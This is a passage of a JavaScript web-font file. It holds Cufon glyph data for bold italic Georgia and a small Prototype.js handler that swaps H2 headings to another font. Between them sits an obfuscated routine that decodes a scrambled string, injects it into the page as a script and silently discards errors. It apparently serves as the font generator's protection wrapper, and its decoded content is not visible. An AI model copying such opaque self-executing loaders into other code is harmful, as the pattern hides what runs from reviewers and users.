110,-36,-112,-102","w":290},{"d":"222,-97v0,56,-57,103,-117,103v-50,0,-88,-31,-87,-81v1,-103,89,-172,192,-181r1,17v-66,8,-99,48,-118,102v16,-14,37,-24,67,-24v35,0,62,28,62,64xm108,-8v31,0,49,-50,49,-89v0,-21,-11,-39,-30,-40v-40,0,-47,35,-47,79v0,25,7,50,28,50","w":233},{"d":"184,-213v-26,0,-35,-26,-42,-46v-16,20,-22,55,-30,88r45,0r-4,18r-44,0v-24,105,-21,231,-135,231v-29,0,-50,-6,-50,-34v0,-14,11,-26,26,-26v27,0,34,28,43,46v34,-53,38,-147,58,-217r-34,0r4,-18r34,0v10,-56,46,-102,106,-102v28,0,50,7,50,33v0,16,-9,27,-27,27","w":137},{"d":"195,-63v19,31,33,48,77,50r-3,13r-103,0r-17,-26v-37,42,-147,49,-147,-22v0,-52,43,-70,82,-87v-41,-51,0,-125,67,-121v30,2,56,13,56,40v0,39,-29,53,-62,71r43,70v14,-14,33,-40,36,-58v-2,-9,-16,-9,-27,-13r3,-12r98,0r-3,12v-58,3,-65,55,-100,83xm139,-157v20,-13,37,-30,39,-57v0,-15,-9,-25,-23,-25v-42,1,-37,54,-16,82xm90,-124v-44,24,-35,118,33,97v5,-2,12,-5,19,-10","w":287},{"d":"188,-44v-19,27,-51,50,-92,50v-51,0,-84,-25,-84,-75v0,-68,46,-106,116,-109v36,0,65,10,65,40v0,54,-68,58,-119,66v1,28,9,51,39,51v32,-1,47,-12,63,-33xm74,-86v32,-5,62,-10,62,-47v0,-35,-32,-42,-46,-9v-7,16,-14,34,-16,56xm88,-234v-19,-8,-13,-39,8,-38v40,4,41,47,64,72r-8,6","w":200},{"d":"210,-2r-39,0r-15,67r-58,0r16,-67r-118,0r8,-34r161,-158r51,0r-36,156r39,0xm122,-38r26,-113r-115,113r89,0","w":233},{"d":"220,-89r-176,88r0,-33r139,-67r-139,-67r0,-33r176,88r0,24"},{"d":"251,-176v11,-35,1,-61,-30,-61r3,-12r107,0r-3,12v-37,1,-48,23,-56,59r-42,179r-29,0r-108,-199r-33,157v-4,23,21,23,35,28r-3,13r-108,0r3,-13v37,-2,48,-22,56,-59r30,-131v-1,-21,-15,-31,-35,-34r3,-12r92,0r94,175","w":298},{"d":"112,-40v-8,25,18,25,35,27r-3,13r-145,0r3,-13v21,-1,44,-2,49,-22r26,-113r-44,0v3,-5,0,-16,8,-16v35,0,61,-13,77,-31r31,0","w":176},{"d":"134,-209v8,-19,-11,-25,-30,-28r3,-12r135,0r-3,12v-17,4,-39,3,-41,23v-27,91,-18,221,-134,221v-41,0,-72,-20,-72,-59v0,-22,13,-38,35,-38v34,0,44,42,18,59v-3,5,-10,6,-11,13v33,25,61,-17,69,-53","w":214},{"d":"302,-251r-192,251r-27,0r191,-251r28,0xm112,-126v-8,19,5,28,26,27r-3,13r-111,0r3,-13v16,-1,35,-2,38,-16r23,-102r-35,0v3,-6,0,-16,11,-15v28,3,42,-12,56,-23r23,0xm315,-93v25,-24,12,-80,-32,-60v9,16,9,48,-17,45v-14,2,-22,-11,-22,-23v4,-52,135,-54,135,3v0,67,-80,66,-122,92r111,0r-9,36r-144,0r6,-27v23,-20,78,-39,94,-66","w":385},{"d":"119,-128v52,5,83,-21,83,-69v0,-32,-25,-39,-59,-37xm186,0v-22,-50,-32,-69,-58,-113r-13,0r-18,83v1,16,12,14,31,17r-3,13r-135,0r3,-13v19,-1,38,-5,42,-21r42,-184v-2,-14,-15,-16,-32,-19r3,-12r137,0v48,0,86,8,86,48v0,46,-38,68,-80,78r55,95v8,12,17,14,34,15r-3,13r-91,0","w":287},{"d":"75,-209v7,-20,-10,-25,-30,-28r3,-12r219,0r-14,63r-14,0v-7,-29,-19,-55,-61,-48r-35,0r-22,97v46,6,68,-13,79,-43r14,0r-24,104v-7,0,-15,3,-14,-7v5,-37,-22,-42,-59,-39r-19,90v1,19,13,14,35,17v63,7,75,-35,99,-63r13,0r-22,78r-233,0r3,-13v19,-2,38,-3,42,-21","w":259},{"d":"216,-1r-175,-88r0,-24r175,-88r0,33r-138,67r138,67r0,33"},{"d":"148,-290v-25,-7,-17,-43,10,-38v35,7,41,39,66,60r-7,7xm178,-256v64,-3,117,40,114,102v-4,97,-64,159,-164,161v-63,2,-115,-41,-113,-103v4,-96,66,-155,163,-160xm133,-9v68,-7,91,-86,91,-162v0,-38,-14,-69,-49,-69v-71,0,-88,86,-91,162v-1,38,14,73,49,69","w":295},{"d":"210,-328v29,-7,33,28,8,38r-75,29r-6,-7v33,-25,33,-51,73,-60xm240,-220v8,-14,-15,-16,-27,-17r3,-12r95,0r-3,12v-64,20,-85,76,-124,113v-26,25,-24,53,-35,93v0,16,20,16,34,18r-3,13r-139,0r3,-13v20,0,41,-4,43,-23v4,-28,21,-58,7,-84v-22,-41,-17,-109,-72,-117r3,-12r139,0r-3,12v-20,1,-39,-1,-34,20v7,29,22,65,32,95","w":263},{"w":91},{"d":"79,-234v-19,-8,-13,-39,8,-38v40,4,41,47,64,72r-8,6","w":180},{"d":"37,-141v5,-72,178,-76,178,1v0,77,-112,58,-165,90r0,3r149,0r-11,47r-191,0v5,-18,5,-39,22,-45v42,-35,122,-33,130,-101v3,-32,-36,-38,-60,-26v13,22,9,61,-24,61v-17,0,-29,-14,-28,-30","w":225},{"d":"44,-137v-50,-94,95,-148,169,-102v7,-6,13,-12,28,-10r-18,85r-15,0v-7,-39,-20,-73,-64,-75v-35,-2,-68,39,-41,65v33,32,117,27,117,91v0,89,-127,109,-198,71v-8,6,-13,15,-30,12r19,-90r15,0v9,41,29,75,76,79v41,3,73,-38,47,-68v-23,-27,-88,-25,-105,-58","w":235},{"d":"218,-34r-20,20r-68,-67r-67,67r-20,-20r67,-67r-67,-67r20,-21r67,68r68,-68r20,21r-68,67"},{"d":"11,-62v0,-80,77,-141,152,-104v4,-23,14,-42,14,-67v0,-18,-19,-20,-36,-22r3,-13r98,-4r2,3r-52,230v-2,23,28,19,42,13r-4,15v-32,20,-80,20,-97,-11v-33,42,-122,35,-122,-40xm74,-61v-4,41,39,51,59,23r22,-96v0,-18,-9,-28,-27,-28v-42,0,-49,56,-54,101","w":238},{"d":"235,-131r-48,0r-17,45r48,0r0,28r-59,0r-23,58r-26,0r23,-58r-41,0r-23,58r-26,0r23,-58r-36,0r0,-28r47,0r18,-45r-48,0r0,-29r59,0r23,-60r26,0r-23,60r40,0r24,-60r26,0r-24,60r37,0r0,29xm162,-132r-41,0r-18,46r41,0"},{"d":"110,-259v32,4,78,39,90,-6r14,4v-13,22,-28,51,-60,53v-32,3,-52,-34,-77,-11r-13,18r-12,-6v11,-22,28,-49,58,-52xm11,-62v-2,-81,80,-142,154,-103r54,-11r3,3r-31,134v-2,23,28,19,42,13r-3,15v-30,18,-83,23,-96,-11v-19,10,-31,27,-61,27v-41,0,-62,-26,-62,-67xm74,-61v-4,40,39,52,58,23r23,-95v-1,-16,-8,-30,-26,-28v-41,5,-50,54,-55,100","w":237},{"d":"239,-11v-33,21,-89,19,-99,-17v-22,19,-38,33,-74,33v-71,0,-26,-91,-19,-139v3,-23,-27,-20,-41,-12r4,-16v39,-26,114,-16,92,49v-8,23,-17,45,-17,71v0,35,47,9,58,-4r29,-127r56,-3r2,3r-29,134v-4,23,28,19,41,12","w":246},{"d":"184,-199r-10,5r-48,-45r-63,45r-9,-5v21,-23,35,-53,61,-70v10,-7,35,-5,37,7v14,20,20,37,32,63xm188,-44v-19,27,-51,50,-92,50v-51,0,-84,-25,-84,-75v0,-68,46,-106,116,-109v36,0,65,10,65,40v0,54,-68,58,-119,66v1,28,9,51,39,51v32,-1,47,-12,63,-33xm74,-86v32,-5,62,-10,62,-47v0,-35,-32,-42,-46,-9v-7,16,-14,34,-16,56","w":200},{"d":"206,-65v-11,30,3,56,37,38r-4,16v-42,27,-114,14,-92,-50v8,-23,13,-45,16,-70v-4,-34,-46,-11,-59,4r-29,127r-58,0r29,-134v3,-24,-26,-19,-41,-13r4,-15v29,-16,92,-25,96,17v23,-14,40,-33,76,-33v62,0,40,73,25,113","w":248},{"d":"86,-290v-26,-7,-18,-44,10,-38v35,7,40,41,66,60r-7,7xm99,-40v-7,22,10,25,32,27r-3,13r-139,0r3,-13v19,-1,39,-3,43,-21r42,-184v-2,-14,-16,-16,-33,-19r3,-12r138,0r-3,12v-18,4,-39,4,-43,23","w":162},{"d":"293,-178v23,0,35,19,35,43v-4,78,-41,137,-118,141v-33,2,-56,-13,-64,-39v-22,23,-39,38,-76,38v-71,0,-31,-90,-23,-139v4,-22,-28,-20,-41,-12r4,-16v35,-21,107,-22,94,39v-6,29,-19,46,-19,77v0,37,48,17,60,-2v5,-45,18,-83,27,-125r56,-3v0,40,-22,82,-24,126v-1,20,10,30,29,30v35,-1,62,-31,58,-72v-3,-24,-32,-25,-31,-55v1,-20,13,-31,33,-31","w":336},{"d":"72,-195v9,-27,-9,-42,-31,-42r3,-12r114,0r24,164r92,-152v3,-6,5,-10,5,-12r116,0r-3,12v-18,2,-37,5,-41,23r-41,184v2,16,12,14,32,17r-3,13r-135,0r3,-13v19,-3,38,-3,42,-23r41,-187r-136,219r-22,0r-30,-222r-2,0r-39,170v-8,30,13,40,34,43r-3,13r-108,0r3,-13v37,-1,47,-23,56,-59","w":371},{"d":"75,-209v7,-20,-10,-25,-30,-28r3,-12r224,0r-15,66r-14,0v-5,-29,-18,-59,-61,-51r-39,0r-23,99v45,5,71,-13,81,-44r13,0r-24,105v-5,-1,-14,3,-13,-5v4,-36,-22,-45,-60,-41r-20,90v1,16,12,14,31,17r-3,13r-135,0r3,-13v19,-1,38,-5,42,-21","w":241},{"d":"151,-195v55,0,92,25,92,78v0,77,-55,123,-134,123v-54,0,-91,-25,-91,-77v0,-78,55,-124,133,-124xm112,-8v52,-9,67,-70,67,-129v0,-24,-6,-43,-31,-43v-51,0,-67,71,-67,127v0,25,7,43,31,45","w":252},{"d":"200,-242v77,0,122,41,125,116v2,54,-36,107,-87,106v-24,0,-41,-10,-49,-24v-20,37,-92,26,-87,-27v5,-54,37,-100,90,-100v16,0,23,7,28,18r6,-16r45,0v-12,40,-30,74,-39,117v0,9,3,16,13,16v42,0,62,-46,61,-92v-2,-63,-42,-96,-108,-96v-81,0,-133,56,-133,138v0,80,42,126,120,126v42,0,71,-12,95,-30r7,11v-25,20,-58,37,-103,36v-89,-3,-153,-50,-153,-141v0,-98,69,-158,169,-158xm148,-66v-3,30,31,32,38,10r27,-78v0,-12,-7,-22,-19,-22v-34,8,-43,51,-46,90","w":348},{"d":"61,-32v28,-55,62,-200,-16,-222r3,-15v61,10,101,46,101,118v0,117,-70,189,-171,209r4,-16v37,-8,62,-40,79,-74","w":160},{"d":"143,-234v-59,-2,-63,27,-94,61r-15,0r26,-76r215,0r-3,10r-208,224r59,0v70,7,78,-38,107,-69r13,0r-28,84r-232,0r2,-11r209,-223r-51,0","w":248},{"d":"63,-15v56,8,86,-11,97,-49r12,0r-13,64r-164,0r3,-15r123,-144r-43,1v-23,1,-34,22,-42,41r-13,0r11,-56r157,0r-3,12","w":186},{"d":"240,-133v0,-37,-34,-41,-46,-9v-6,15,-13,33,-15,56v32,-5,61,-10,61,-47xm176,-163v32,-21,122,-26,122,25v0,53,-67,58,-119,66v0,29,10,51,38,51v32,0,47,-12,63,-33r13,10v-19,27,-51,49,-92,50v-37,1,-60,-15,-75,-35v-19,18,-40,35,-77,35v-54,0,-56,-72,-14,-88v26,-10,63,-21,92,-25v13,-31,3,-75,-37,-51v4,28,-4,46,-33,46v-17,0,-26,-6,-27,-21v9,-49,107,-57,146,-30xm63,-42v0,36,50,17,59,-3v-2,-16,-3,-33,1,-47v-30,7,-60,15,-60,50","w":308},{"d":"118,-76r-107,0r9,-39r107,0","w":136},{"d":"176,-102v21,0,29,-17,37,-35r19,8v-13,26,-28,58,-65,59v-36,1,-50,-30,-83,-30v-21,0,-28,17,-36,35r-19,-8v12,-26,28,-58,65,-59v37,-1,49,30,82,30"},{"d":"318,-65v-8,23,-6,54,28,41v4,-1,8,-2,10,-3r-4,16v-42,26,-114,16,-93,-50v7,-23,14,-44,17,-70v-5,-34,-45,-10,-56,4r-29,127r-58,0r28,-131v-5,-33,-42,-12,-57,4r-29,127r-58,0r29,-134v3,-24,-26,-19,-41,-13r4,-15v31,-18,90,-22,97,17v21,-18,37,-33,72,-33v25,0,38,17,44,33v23,-18,37,-33,72,-33v60,-2,38,74,24,113","w":360},{"d":"9,44v-3,-32,45,-32,57,-9v10,10,11,39,32,23v23,-17,39,-51,42,-86v-30,44,-138,45,-111,-32r18,-74v3,-24,-28,-19,-41,-12r4,-16v39,-26,114,-16,92,49v-8,22,-14,44,-17,69v4,34,46,11,59,-3r27,-126r56,-3r2,3v-29,106,-18,251,-152,251v-35,-1,-65,-4,-68,-34","w":240},{"d":"188,-268r-182,343r-32,0r181,-343r33,0","w":169},{"d":"254,-176v11,-34,0,-61,-30,-61r3,-12r108,0r-3,12v-19,3,-39,6,-46,25v-24,63,-23,157,-75,195v-59,43,-192,30,-170,-67r31,-134v-2,-15,-14,-15,-32,-19r3,-12r134,0r-3,12v-18,3,-36,4,-40,22r-31,139v-16,65,66,72,102,39v33,-30,33,-91,49,-139","w":300},{"d":"2,44v-2,-31,45,-32,57,-9v6,7,11,20,16,29v39,-8,47,-40,57,-82v-18,8,-30,22,-57,22v-40,0,-64,-26,-64,-67v-1,-81,80,-141,155,-102r54,-11r2,3v-29,105,-17,252,-152,251v-35,-1,-66,-4,-68,-34xm74,-62v-4,40,42,50,62,23r19,-95v0,-17,-9,-27,-27,-27v-42,0,-49,54,-54,99","w":233},{"d":"34,-176v0,-91,121,-72,214,-73r-4,16r-39,0r-64,274r-19,0r64,-274r-30,0r-64,274r-20,0r38,-158v-48,2,-76,-18,-76,-59","w":223},{"d":"240,-209v17,-22,-6,-26,-29,-28r3,-12r103,0r-3,12v-64,19,-71,64,-107,120r-77,120r-35,0r-38,-210v-4,-19,-16,-26,-36,-30r3,-12r133,0r-3,12v-24,4,-40,2,-34,33r27,147","w":274},{"d":"105,-155v34,-37,117,-29,117,44v0,97,-103,145,-184,98v-7,-5,-13,-12,-19,-21r45,-200v0,-17,-14,-19,-30,-21r3,-13r92,-4r2,3xm104,-9v42,-8,50,-54,55,-103v4,-42,-39,-50,-59,-23r-22,98v1,16,9,27,26,28","w":233},{"d":"114,54r-116,0r74,-321r117,0r-4,17r-61,0r-67,288r61,0","w":160},{"d":"71,-60v18,0,34,16,34,33v0,18,-17,32,-34,32v-17,0,-34,-14,-34,-32v0,-17,16,-33,34,-33xm42,-205v1,-32,48,-50,85,-50v41,0,75,23,75,63v0,57,-51,90,-110,92r-5,24r-15,0r13,-68v38,-4,69,-21,69,-61v0,-33,-34,-43,-59,-28v8,25,7,55,-25,55v-17,0,-29,-10,-28,-27","w":197},{"d":"125,-25r-4,16v-41,27,-108,15,-92,-50r19,-77v3,-24,-26,-19,-41,-13r4,-15v39,-26,115,-16,91,49v-14,38,-41,115,23,90xm120,-266v16,0,28,14,28,29v0,15,-12,29,-28,29v-15,0,-27,-14,-27,-29v0,-15,11,-29,27,-29xm40,-266v15,0,27,14,27,29v0,15,-13,29,-27,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":131},{"d":"238,-266r-6,5r-55,-36r-67,36r-6,-5v21,-20,38,-43,62,-60v45,-12,51,36,72,60xm157,-100r-15,-91r-57,91r72,0xm44,-27v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r135,-209r35,0r41,226v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57","w":272},{"d":"90,-269v51,0,7,65,-3,86v-6,12,-12,24,-18,38r-12,0v2,-49,-18,-124,33,-124xm199,-247v-7,39,-33,65,-47,102r-12,0v3,-49,-17,-123,33,-124v15,-1,28,9,26,22","w":183},{"d":"131,-179v50,-2,87,26,86,74v-2,71,-50,109,-122,111v-48,1,-84,-28,-83,-75v1,-71,50,-108,119,-110xm101,-8v46,-8,51,-66,54,-117v0,-25,-7,-38,-27,-40v-45,6,-53,65,-54,116v0,25,7,39,27,41","w":228},{"d":"89,17v40,-6,51,42,15,53v-18,6,-38,7,-64,8r3,-14v20,-1,48,4,48,-15v0,-9,-12,-9,-22,-10r9,-42r15,0","w":180},{"d":"162,-178v21,0,33,13,32,36v7,40,-56,55,-64,19v2,-15,3,-14,10,-30v-16,6,-27,17,-37,29r-28,124r-58,0r29,-134v3,-24,-26,-18,-41,-13r4,-15v29,-16,92,-25,96,17v23,-15,27,-33,57,-33","w":192},{"d":"261,-15v62,6,75,-35,99,-63r12,0r-22,78r-230,0r3,-13v19,-1,37,-4,41,-22r16,-69r-86,0v-18,26,-44,49,-57,79v3,10,19,11,31,12r-3,13r-103,0r3,-13v27,-2,41,-15,55,-31r150,-185v-6,-4,-24,-7,-33,-8r3,-12r255,0r-15,63r-13,0v-6,-27,-20,-56,-62,-48r-33,0r-22,97v46,6,66,-15,78,-43r13,0r-24,104r-13,0v3,-38,-17,-51,-58,-46v-6,31,-19,58,-19,92v0,16,14,13,34,15xm184,-121r26,-113r-12,0r-90,113r76,0","w":386},{"d":"54,-64v17,0,35,18,35,35v0,17,-17,34,-35,34v-18,0,-35,-16,-35,-34v0,-18,17,-35,35,-35","w":118},{"d":"197,-199r-9,5r-49,-45r-63,45r-9,-5v27,-26,37,-79,91,-71v20,19,24,43,39,71xm131,-179v50,-2,87,26,86,74v-2,71,-50,109,-122,111v-48,1,-84,-28,-83,-75v1,-71,50,-108,119,-110xm101,-8v46,-8,51,-66,54,-117v0,-25,-7,-38,-27,-40v-45,6,-53,65,-54,116v0,25,7,39,27,41","w":228},{"d":"129,-159v-6,32,11,42,43,42r-6,26v-55,-2,-68,32,-72,83v-4,56,-54,67,-115,67r2,-15v76,6,39,-96,89,-125v14,-8,34,-14,51,-18r3,-13v-55,-4,-52,-62,-39,-113v1,-25,-17,-30,-40,-30r3,-15v51,0,98,5,92,58v-2,19,-8,35,-11,53","w":180},{"d":"48,-249v82,8,221,-29,221,52v0,74,-73,92,-155,90r-17,77v2,16,12,14,32,17r-3,13r-136,0r3,-13v19,-1,38,-5,42,-21r42,-184v-2,-14,-15,-16,-32,-19xm118,-123v55,3,81,-24,82,-74v0,-32,-23,-39,-57,-37","w":254},{"d":"188,-44v-19,27,-51,50,-92,50v-51,0,-84,-25,-84,-75v0,-68,46,-106,116,-109v36,0,65,10,65,40v0,54,-68,58,-119,66v1,28,9,51,39,51v32,-1,47,-12,63,-33xm74,-86v32,-5,62,-10,62,-47v0,-35,-32,-42,-46,-9v-7,16,-14,34,-16,56xm124,-254v8,-19,48,-26,54,-3v-4,25,-21,27,-43,39r-42,24r-7,-6","w":200},{"d":"203,-191v17,-16,57,-44,10,-46r3,-12r109,0r-3,12v-68,10,-99,58,-144,90r75,120v7,7,19,14,33,14r-3,13r-93,0v-19,-45,-40,-77,-63,-115r-11,0r-19,85v1,16,12,14,31,17r-3,13r-135,0r3,-13v19,-2,38,-3,42,-21r42,-184v-2,-14,-15,-16,-32,-19r3,-12r135,0r-3,12v-18,2,-37,5,-41,23r-20,85r8,0","w":294},{"d":"94,54r-116,0r4,-16r61,0r66,-288r-61,0r4,-17r117,0","w":160},{"d":"194,-36v0,59,-57,101,-118,101v-39,0,-82,-19,-83,-52v0,-16,12,-30,30,-30v34,0,35,40,23,63v52,12,80,-30,83,-81v3,-55,-70,-50,-89,-18r-13,-5r45,-131r148,0r-11,48r-134,0r-19,59v45,-32,138,-23,138,46","w":215},{"d":"224,-123r-188,0r0,-29r188,0r0,29xm224,-50r-188,0r0,-29r188,0r0,29"},{"d":"88,-59v-17,33,16,49,47,33r-4,16v-41,26,-118,21,-102,-49r22,-94r-32,0r4,-18r33,0r12,-53r57,0r-12,53r48,0r-5,18r-47,0","w":150},{"d":"37,-141v0,-62,179,-82,179,-2v0,45,-41,57,-78,70v34,3,61,15,61,51v0,62,-60,85,-127,87v-41,1,-78,-18,-79,-53v0,-16,11,-29,29,-29v33,0,36,38,23,60v47,19,86,-18,86,-72v0,-30,-25,-34,-57,-32r5,-21v48,5,72,-21,72,-66v0,-32,-38,-36,-62,-23v13,24,10,60,-23,60v-17,0,-29,-14,-29,-30","w":224},{"d":"138,-290v-26,-7,-18,-44,10,-38v35,7,40,41,66,60r-7,7xm157,-100r-15,-91r-57,91r72,0xm44,-27v2,12,18,12,33,14r-3,13r-105,0r3,-13v25,-2,41,-13,52,-31r135,-209r35,0r41,226v5,8,18,13,30,14r-3,13r-133,0r3,-13v20,-3,41,0,37,-22r-9,-49r-86,0v-9,15,-26,38,-30,57","w":272},{"d":"140,-255v17,-1,34,14,34,32v0,17,-17,33,-34,33v-17,0,-33,-16,-33,-33v0,-18,16,-32,33,-32xm142,-72v16,0,28,11,28,26v-1,32,-47,51,-85,51v-42,0,-76,-23,-76,-63v0,-57,52,-90,111,-92r5,-24r15,0r-14,68v-38,3,-68,20,-68,60v0,33,33,45,59,29v-10,-22,-6,-55,25,-55","w":197},{"d":"202,-185v16,-14,59,-51,9,-52r3,-12r101,0r-3,12v-47,6,-67,38,-95,64r-38,35r54,108v9,10,19,16,38,17r-3,13r-147,0r3,-13v72,3,15,-55,7,-89v-24,27,-54,48,-74,79v2,8,13,8,26,10r-3,13r-101,0r3,-13v50,-5,69,-39,98,-66r43,-40v-28,-41,-28,-110,-88,-118r3,-12r147,0r-3,12v-23,0,-50,7,-32,32r21,50","w":288},{"d":"188,-44v-19,27,-51,50,-92,50v-51,0,-84,-25,-84,-75v0,-68,46,-106,116,-109v36,0,65,10,65,40v0,54,-68,58,-119,66v1,28,9,51,39,51v32,-1,47,-12,63,-33xm74,-86v32,-5,62,-10,62,-47v0,-35,-32,-42,-46,-9v-7,16,-14,34,-16,56xm167,-266v16,0,28,15,28,29v0,14,-13,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29xm80,-266v15,0,28,15,28,29v0,14,-14,29,-28,29v-16,0,-28,-14,-28,-29v0,-15,12,-29,28,-29","w":200},{"d":"99,-40v-7,22,10,25,32,27r-3,13r-139,0r3,-13v19,-1,39,-3,43,-21r42,-184v-2,-14,-16,-16,-33,-19r3,-12r138,0r-3,12v-18,4,-39,4,-43,23","w":162},{"d":"224,-134r-35,0r-56,-90r-55,90r-34,0r77,-122r25,0"},{"d":"201,-65v-9,23,-6,54,27,42v4,-1,8,-3,10,-4r-4,16v-42,27,-114,14,-92,-50v8,-23,13,-45,16,-70v-5,-34,-46,-11,-60,4r-29,127r-58,0r53,-234v1,-18,-15,-19,-30,-21r3,-13r92,-4r2,3r-27,121v30,-41,139,-44,110,33","w":243},{"d":"135,-215v-52,-6,-74,66,-16,72xm107,-11v58,6,83,-73,18,-79xm37,-81v33,0,34,38,22,59v10,6,18,10,31,11r18,-81v-61,1,-94,-68,-46,-109v18,-15,44,-27,76,-29r9,-38r17,0r-9,38v38,2,68,15,70,49v1,16,-12,29,-27,29v-32,0,-32,-37,-21,-57v-7,-4,-15,-6,-25,-6r-16,73v53,4,93,46,65,96v-17,30,-52,46,-97,49r-11,50r-17,0r11,-50v-41,0,-76,-20,-78,-55v0,-16,10,-29,28,-29","w":230},{"d":"114,-247v-8,39,-33,65,-47,102r-12,0v3,-50,-17,-123,34,-124v14,-1,25,9,25,22","w":96},{"d":"174,39v-8,21,13,26,31,27r-3,12r-127,0r3,-12v16,-3,34,-2,36,-21v2,-20,15,-46,13,-62v-35,38,-116,25,-116,-45v0,-82,79,-142,155,-103r54,-11r2,3xm74,-61v-4,41,39,50,59,23r22,-96v0,-17,-9,-26,-27,-27v-41,7,-50,54,-54,100","w":233},{"d":"65,-131v17,0,35,18,35,35v0,17,-17,34,-35,34v-18,0,-35,-16,-35,-34v0,-18,17,-35,35,-35","w":121},{"d":"174,-315v12,-25,67,-10,47,16v-23,17,-58,23,-89,38r-6,-7xm75,-209v7,-20,-10,-25,-30,-28r3,-12r219,0r-14,63r-14,0v-7,-29,-19,-55,-61,-48r-35,0r-22,97v46,6,68,-13,79,-43r14,0r-24,104v-7,0,-15,3,-14,-7v5,-37,-22,-42,-59,-39r-19,90v1,19,13,14,35,17v63,7,75,-35,99,-63r13,0r-22,78r-233,0r3,-13v19,-2,38,-3,42,-21","w":259},{"d":"137,75r-31,0r-61,-343r31,0","w":169},{"w":91},{"d":"173,-261v84,0,156,71,156,155v0,84,-72,155,-156,155v-84,0,-155,-71,-155,-155v0,-84,71,-155,155,-155xm173,34v75,0,138,-64,138,-140v0,-76,-63,-140,-138,-140v-75,0,-138,64,-138,140v0,76,63,140,138,140xm185,-40v28,0,41,-14,52,-33r11,6v-11,29,-35,47,-73,47v-53,0,-85,-30,-88,-84v-3,-67,75,-110,135,-78v4,-5,7,-11,18,-9r1,65r-12,0v-11,-28,-17,-53,-48,-53v-33,0,-43,34,-43,71v0,39,12,68,47,68","w":339},{"d":"199,-199r-9,5r-49,-45r-63,45r-9,-5v27,-26,37,-79,91,-71v20,19,24,43,39,71xm239,-11v-33,21,-89,19,-99,-17v-22,19,-38,33,-74,33v-71,0,-26,-91,-19,-139v3,-23,-27,-20,-41,-12r4,-16v39,-26,114,-16,92,49v-8,23,-17,45,-17,71v0,35,47,9,58,-4r29,-127r56,-3r2,3r-29,134v-4,23,28,19,41,12","w":246}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+84-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("o^{}y%i4G(*eoYuHl%:[#^#*,Xi}{%*e,X![G(bx{LmQF)40G}U}wA|%iLU}wA|ts,|WlVEc{%:WlVEcF(L{dV-,,DBcw^Lhi}U}wA|0i:U}wA|-i}U}wA|t{tiWlVEc{A-WlVEc{A{8v}U}wA|uw%:WlVEc{h{WlVEc{VLWlVEc{AL`BLU}wA|tw}U}wA|-w}U}wA|-iuU}wA|ui:U}wA|ui}U}wA|hi}*WlVEcFhLWlVEc{(bWlVEc{^iWlVEcF({Y,DBcw^w4,DBcw^FI,DBcw^b0,DBcw^BU,DBcw^g[GuU}wA|%w}U}wA|twC]WlVEcF(:WlVEcFV-WlVEc{^BQW2{WlVEc{%{WlVEcFVbWlVEc{V|h,DBcw^{h,DBcw^Lu,DBcw^w}{LU}wA|%{:U}wA|0sLU}wA|0w}U}wA|-F}U}wA|0F}U}wA|h{uU}wA|0wLU}wA|-F0LWlVEcFh|WlVEcF%Ba,DBcw^it,DBcw)lu,DBcw^i-,DBcw^FU,DBcw^b-,DBcw^F2,DBcw^w)y:U}wA|tw:U}wA|0FuU}wA|0wub#,DBcw^g},DBcw^wU,DBcw^w`,DBcw^!-,DBcw^gUstUWlVEc{h-WlVEc{%LWlVEc{h#],DBcw^Fc,DBcw^d4,DBcw^i0bDcIoY:WlVEcFXBHV4WX{0{WlVEc{VT4pt`UCuU}wA|0{:!:p:U}wA|twuU}wA|t{Y|TwuiWlVEc{Alt#}U}wA|uw2LWlVEc{(:e,DBcw^ihl4}^wgE8(x8WlVEc{V{WlVEcF(b6y,uW;}Lx,DBcw^#XL%!yp}U}wA|u{uU}wA|hwuc0y}U}wA|0sD!WlVEcE|YAg:^D#!o;wispdbCVBL(,F{GyWlvzT-0htu%x_8afQ]e9cU[)4}X2`IOHm*6?F)Fe,DBcw^F4zL|WlVEc{Vu;,VB*lAiWlVEcF)|WlVEcF%{F,DBcw^L0CLI_!YlU,DBcw^#2,DBcw^wI,:UWlVEcFV|WlVEcFVuWlVEc{%#0;xicy^u4oY#0oCU8pVEQWA}0;xEQyA}c;%Uuy%l4GYUxp(#e{0IxyDucGDw*v24HG(F_F0I9G)49,0T?sxl2l}ceoVm_p)_eo}ceG(bu,YItG2ceo}cel^L)l^ut{Lce{^]m;0]W;%ut{,|[G(I4,YItG2ceo}cel^L)l^ut{,|[G(I4,YItG[tt;Xtel^L)lY-QyXi-l^u9y0I_y2i4y%:]{Ct8{%*[oA]8p^cHo[]8o(lyF}]8,L4*W:]8,,48oYtT")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":253,"face":{"font-family":"Georgia","font-weight":700,"font-style":"italic","font-stretch":"normal","units-per-em":"360","panose-1":"2 4 8 2 5 4 5 9 2 3","ascent":"288","descent":"-72","x-height":"6","bbox":"-81.0541 -329 448 78.4677","underline-thickness":"21.0938","underline-position":"-21.2695","slope":"-13","unicode-range":"U+0020-U+00FF"}}));

var CufonHandler = Class.create({
	log: function(str) {
		site.log('[CufonHandler] '+str);
	},
	initialize: function() {
		this.enabled = document.location.search.match(/nocufon/) === null;

		document.observe('custom:systemfontreplace', this.refreshEvent.bindAsEventListener(this));
		document.observe('custom:fontreplace', this.refreshEventObsolete.bindAsEventListener(this));
	},
	config: function() {
		// Bliss replacements
		Cufon.set('fontFamily','Bliss');
		Cufon.replace('H2');

		/*Cufon.replace('.bliss');*/
		/*sifr should be dead*/
		/*Cufon.replace('.sifr-bliss2-regular.sifr-25px');
		Cufon.replace('.sifr-bliss2-regular');
		Cufon.replace('.sifr-bliss2-bold');
		Cufon.replace('.sifr-bliss2-regular');
		Cufon.replace('.sifr-bliss2-italic');*/
